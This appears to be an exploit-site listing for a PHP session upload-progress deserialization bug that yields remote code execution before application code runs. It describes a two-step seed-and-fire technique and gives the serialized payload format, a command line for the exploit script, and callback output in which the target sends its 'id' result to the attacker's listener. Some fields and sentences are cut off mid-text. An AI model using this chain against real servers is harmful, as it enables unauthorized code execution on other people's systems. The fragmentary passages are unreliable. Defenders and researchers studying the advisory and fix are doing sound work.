Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

- **GHSA**: [GHSA-6wmf-4rv5-p3rp]( — *"RCE via stale global state"*

- **Affected**: ` This tool may be used for legal purposes only. Users take full responsibility for any

> actions performed using this tool. Only run it against systems you own or are

> authorized to test. The author accepts no liability for damage caused by this tool.

The session **upload-progress handler** (enabled by default, no application call to

`session_start()` required) decodes the session file during **request startup, before

RINIT** — before any application code runs — with **full unserialize semantics**

(class lookup, `__unserialize()`, `__wakeup()`, autoload, `unserialize_callback_func`).

An attacker plants a serialized object in the session file in two requests:

1. **SEED** — multipart upload to a path running `session.serialize_handler=php_serialize`

with `PHP_SESSION_UPLOAD_PROGRESS=x|`. The `php_serialize` handler

length-prefixes the key, so the `|` and the object survive verbatim:

a:1:{s:33:"upload_progress_x|O:4:"Evil":0:{}";a:5:{...}}

2. **FIRE** — multipart upload to a path running `session.serialize_handler=php`

(the default) with the same session cookie. The `php` decoder splits the file at the

first `|`: everything after it is **unserialized during request startup**.

The fixed builds neutralize the class lookup during this decode

(`incomplete_classes_only` while `PS(in_rfc1867_update)` is set): the poisoned file is

- vulnerable PHP (`< 8.2.35`, `< 8.3.36`, `< 8.4.27`, `< 8.5.12`)

- `session.upload_progress.enabled=1` (default)

- `session.upload_progress.cleanup=0` on the seed path (or a mid-upload race)

- a gadget class available pre-RINIT (the application's `opcache.preload` file, or an

- two paths with different `session.serialize_handler` values (or an application that

python3 cve-2026-109619.py -t \

--seed-path /app1/index.php --fire-path /app2/index.php \

--payload 'O:4:"Evil":0:{}' --listen-port 9999

The one-shot listener proves the RCE: the preloaded gadget phones when its magic

method runs. Output against a vulnerable 8.2.34 target:

[+] CALLBACK: /?tag=__unserialize&id=uid%3D33(www-data)%20gid%3D33(www-data)%20groups%3D33(www-data)

[+] RCE CONFIRMED - magic method executed during PHP Request Startup

(pre-RINIT: before any application code ran)

The response body is only the application's own output — the app never touched

sessions. The target-side error log independently proves the phase:

`PHP Request Startup: Failed to decode session object`.

## Verification (reproduced on 8.2.34, killed on 8.2.35)

| Check | PHP 8.2.34 (vulnerable) | PHP 8.2.35 (fixed) |

| Poisoned session file written by upload-progress | yes (370 B, same structure both sides) | yes |

| Decode runs during `PHP Request Startup` (pre-RINIT) | yes | yes |

| Magic method fires | **yes** — `uid=33(www-data)` | **no** — marker absent |

| Exact vulnerable artifact replayed | fires | no marker |

| Normal `unserialize()` of the same payload (control) | n/a | fires — payload/class valid |

The kill is exactly the documented fix: during `PS(in_rfc1867_update)` the unserializer

skips class lookup (`ce = PHP_IC_ENTRY`), so `__unserialize`/`__wakeup`/autoload cannot

- [GHSA-6wmf-4rv5-p3rp]( — php-src security advisory

- php.net: [8.2.35]( ·

[8.3.36]( ·

[8.4.27]( ·

[8.5.12](

- Fix commit (8.2): `01a40e89fbfc499936e3b05888d8f00bfde886df`

- Regression test added by the fix: `ext/session/tests/rfc1867_no_user_code.phpt`

Extracted Entities

Attack Types (1)

Domains (1)

Vulnerabilities (1)